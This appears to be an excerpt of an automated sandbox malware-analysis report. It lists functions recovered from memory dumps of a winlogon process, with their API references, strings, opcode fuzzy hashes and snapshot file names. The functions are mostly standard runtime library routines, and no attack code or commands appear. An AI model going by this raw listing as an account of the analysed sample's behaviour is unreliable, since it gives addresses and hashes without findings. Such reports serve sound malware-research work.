CorExitProcess, xrefs: 000001E85898BCCC

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: e6b40846573bec2309256a1e3779184d66e370f070609bbf47c065b346f7c57b
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: A2F06271221685D1FB108F29E84539DB321EF857A1F54062ADE6E452E4CF2CC045C700

Function 000001E858983044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001E858983066
StrCpyW.SHLWAPI ref: 000001E858983076
StrCatW.SHLWAPI ref: 000001E858983082
PathCombineW.SHLWAPI ref: 000001E858983090

Strings

\\.\pipe\, xrefs: 000001E85898305C

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 177804a8e33fc8a1ffb9e6d06ac6c2892e3a9ed2a31dc03627c06d5a34e3f628
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A4F0F874624BC5D2EA148F53F9551ADB662AF48FD0F489132EE4E47B18DE2CC4858700

Function 000001E858985710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985726

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction ID: ff1100847cf1c0e0aadc7ec0e970ba072bd13cc79387902f55229e6ec2abdf55
Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction Fuzzy Hash: 0361C436629A85CAE760DB55E45039EB7A0FB88784F504127EE8E87BA8DF7CC444CF00

Function 000001E8589C3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E8589C352C
_set_statfp.LIBCMT ref: 000001E8589C3547
_set_statfp.LIBCMT ref: 000001E8589C3563
_set_statfp.LIBCMT ref: 000001E8589C359F

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b4ee51cf0a1e5aea1822e43a26c047e5dcf7f4fbb0b99cff55914cd4d144b702
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7511E932AB0ED1D2FAA42528E4523EDBF806F59374F49873BAD7E067D6CE26C8417101

Function 000001E858994104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E85899412C
_set_statfp.LIBCMT ref: 000001E858994147
_set_statfp.LIBCMT ref: 000001E858994163
_set_statfp.LIBCMT ref: 000001E85899419F

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 63986d8d169832ca2b3c9ff94d929ac1109ad7e490c18855dc707efbf0d460dd
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5D11A3B2B30AD092F67A5569D4653EDB1477F783B8F090636AD7E077D6EE24C8414201

Function 000001E858963504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E85896352C
_set_statfp.LIBCMT ref: 000001E858963547
_set_statfp.LIBCMT ref: 000001E858963563
_set_statfp.LIBCMT ref: 000001E85896359F

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 13a26281ade054cd1280fdbce72e43605aafa02c3cf2d887f28f1c2fac503938
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: D511A332A30AD191FA64192AE4413EDB1906F59374FD8873BBD6E076E6CE38C8417100

Function 000001E8589BF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001E8589BF124

Strings

or copy constructor iterator', xrefs: 000001E8589BF25A, 000001E8589BF275
Tuesday, xrefs: 000001E8589BF0F4
Wednesday, xrefs: 000001E8589BF1ED

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 45fbb07566537809df07c08353ba596d2c45bc6c88eb3f332a9267d3a220cd63
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: A661C6766286C0CEFA658BA9E5443EEFAA0EF85746F508837CE0E177A5DF34C8458300

Function 000001E85895F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001E85895F124

Strings

Wednesday, xrefs: 000001E85895F1ED
Tuesday, xrefs: 000001E85895F0F4
or copy constructor iterator', xrefs: 000001E85895F25A, 000001E85895F275

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: bbb57aa9e3b830d463c4fe85b52b4203214c9bc4de7028ccc68d76f93c744b6c
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2761A2766206C0C2FA659B65E5443EEFAA1EF867A6F544837CE0E17BA4DF34C8458300

Function 000001E85898AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001E85898AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001E85898AAB7

Strings

RCC, xrefs: 000001E85898AA85
MOC, xrefs: 000001E85898AA7C

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: bb76fc1650d308761c410147ea84cb38f2e16afbcf0730215f2385a251eb584a
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6C614633610A85CAEB209F65D4803DDB7A1FB48B88F044226EE4E17B99DF78C595CB02

Function 000001E8589BA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589BA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E8589BA288

Strings

csm, xrefs: 000001E8589BA2DA
csm, xrefs: 000001E8589BA1C2

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: b8cb1cdd645de17ac90d150e5576baa1f770b257ea5295feeb99f43c7e10e3bf
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A9517A322292C0CEEB648B65D45439CB7E0FB55B96F188227DE9D87B95CF39D490C702

Function 000001E85898AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E85898ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E85898AE88

Strings

csm, xrefs: 000001E85898AEDA
csm, xrefs: 000001E85898ADC2

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 49808e8ca0374573422c17999fa92c520f6827b0ca759f7661e9c90c8d8cbcb6
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: C85138732206C2CBEB648B25D58439DB7E0EB54B99F184126DE9D87A96CF38D491CF02

Function 000001E85895A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E85895A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E85895A288

Strings

csm, xrefs: 000001E85895A1C2
csm, xrefs: 000001E85895A2DA

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 0ad0f10a0311de8fe70e4511306a68505f179f6318197c4e8bd1820910d7e08b
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: DF517E322242C1CAEB648B25E44439DB7E0FF55B9AF184127DE9D87B95CF38D491CB0A

Function 000001E8589B8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589B84A8

Strings

f, xrefs: 000001E8589B8426
csm, xrefs: 000001E8589B848E

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 5afbde93f76065e937d33a33ecda40d7cc0652e0afb463397a4e63f594b95558
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: B751B932629280CEEB55CF15E445BDCB799FB48BD9F508076DE0A63788EFB4D8418704

Function 000001E858958405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589584A8

Strings

f, xrefs: 000001E858958426
csm, xrefs: 000001E85895848E

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: bfd78980145a28763c880af9517e8ac90edd43b032dea0cdb72a4fbda65ea15a
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4A51AC32621680CAEB14CF15E445BDEB799FF54B9AF508176DE4E63788EF34D8428B04

Function 000001E8589B83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589B84A8

Strings

f, xrefs: 000001E8589B8426
csm, xrefs: 000001E8589B848E

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: a63bd806f66d012ce775473c1f40d5f64a693a31238674c758956550f9c12806
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: F0318832225680DAEB159F11E849BDDBBA9FB48BD9F458036AE5E13788DF38C940C704

Function 000001E8589583E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589584A8

Strings

f, xrefs: 000001E858958426
csm, xrefs: 000001E85895848E

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 56d3e007963a7e7881fb8535ced7d73073085fdb1eb8715deed5cad551f2bc8b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: AD317C32221680D6EB14DF12E8457DEB7A4FF40B9AF958026EE5E17784DF38D941C704

Function 000001E858992058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001E8589920D7
WriteFile.KERNEL32 ref: 000001E85899239F
WriteFile.KERNEL32 ref: 000001E8589923E5
GetLastError.KERNEL32 ref: 000001E85899249B

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5158255b9f45075a47059d5597f2be23213eaa00bc29a0f5feecf0f9424b8990
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 6BD1AE32B24AC0C9E711CFA9D4402ECBBB6FB54B98F144226DE6E97B99DE34C516C740

Function 000001E8589814A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E8589814C5
HeapFree.KERNEL32 ref: 000001E8589814D4
GetProcessHeap.KERNEL32 ref: 000001E8589814E1
HeapFree.KERNEL32 ref: 000001E8589814F0
GetProcessHeap.KERNEL32 ref: 000001E858981500

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 87d0c39c7ef690860e2d692a8e2b1ea7438f5f62204bc229bf9756ed41ae7668
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: FA014832620AD0C6E715EFA6E90418EB7A2FB88FC1F044436EE4E43729EE38C051C740

Function 000001E858992980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001E858992A9C
GetLastError.KERNEL32 ref: 000001E858992B27

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 12399152d6f5684d12032a5c33f3ea79e7a8066ea1a4d7d76d6e965cdc9918e8
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: DD91AD327206D0C5F7609FA9D8803EDFBA6BB45B98F14412BDE2E67A95DE34C486C700

Function 000001E85898253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001E858982620
StrCpyW.SHLWAPI ref: 000001E858982639

Strings

\\.\pipe\, xrefs: 000001E85898262B

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: dc5de42c1dc400c54a34142e8686c4d9b9fee3a7d214c8df3c00669743a542fc
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 357190362207C2CAE7259EA6E8443EEF795FB89B84F440037DD0E53B89DE35D6458B00

Function 000001E8589B9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001E8589B9EB7

Strings

MOC, xrefs: 000001E8589B9E7C
RCC, xrefs: 000001E8589B9E85

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 479c25fd653139756ea47a74aec904b6b413ad4f2ed2086552f17bedce541712
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: EC614632A29B84CAEB20DF65D4403DDB7A0FB49B99F144226EE4D17B98EF38D595C700

Function 000001E858959E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001E858959EB7

Strings

MOC, xrefs: 000001E858959E7C
RCC, xrefs: 000001E858959E85

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 094ec712c1b288e37f31cb4837e425075fcca7128a69f700356e5ae3858f6197
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: A1612632A25B84CAEB20DF65E4403DDB7A0FB45B89F144226EE4D17B99DF38D595CB00

Function 000001E858982330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001E858982416
StrCpyW.SHLWAPI ref: 000001E85898242D

Strings

\\.\pipe\, xrefs: 000001E858982421

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 414b1109d79ba0e870cecf76c2af5f31b5d4bde43533dd6e83f510ec87595dfc
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 6951BD322287C2C1F664DAAAE4983EEF791FB95780F450137DE5E03B99DE39C9048B50

Function 000001E8589926F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001E858992807
GetLastError.KERNEL32 ref: 000001E858992829

Strings

U, xrefs: 000001E8589927B3

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: dcdd8cd598e05c42887886c746ddf0c279423bf44c0c1bf9e557dc900a05699c
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 2A416072625A80C6EB209F65E4443EDF7A2FB98794F514032EE4E87794EF38C441C740

Function 000001E8589894A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001E8589894F0
RaiseException.KERNEL32 ref: 000001E858989531

Strings

csm, xrefs: 000001E85898951E

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 449c3b8d4a9707330a2244a19cbde2a29dd6a88ab94e040f38e9f4c0bfe6f638
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 5F110A36224B8182EB618F25F44439DB7E5FB88B94F584226EE8D47B69DF3CC551CB00

Function 000001E8589B7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589B737C

Strings

ierarchy Descriptor', xrefs: 000001E8589B7381
riptor at (, xrefs: 000001E8589B7364

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 0e26cef9ba68d931c57e211af9cd086a3cc8b9350f618ba4ce6d2e1c4988f689
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 2AE08671650B84D4DF018F21E8802DC73A4EF58B64B8891339D5C06311FE38D1E9C300

Function 000001E858957356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E85895737C

Strings

riptor at (, xrefs: 000001E858957364
ierarchy Descriptor', xrefs: 000001E858957381

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: b226c5ef1287e80dd1a639188cd00b7be9ee93c87761d6bca3fa593d7edb1d27
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 32E04F61660B84D0DB058F22E8412D873A09F58B64F8891229D5C06311EE38D1E9C300

Function 000001E8589B73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589B73D8

Strings

Locator', xrefs: 000001E8589B73DD
riptor at (, xrefs: 000001E8589B73C0

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

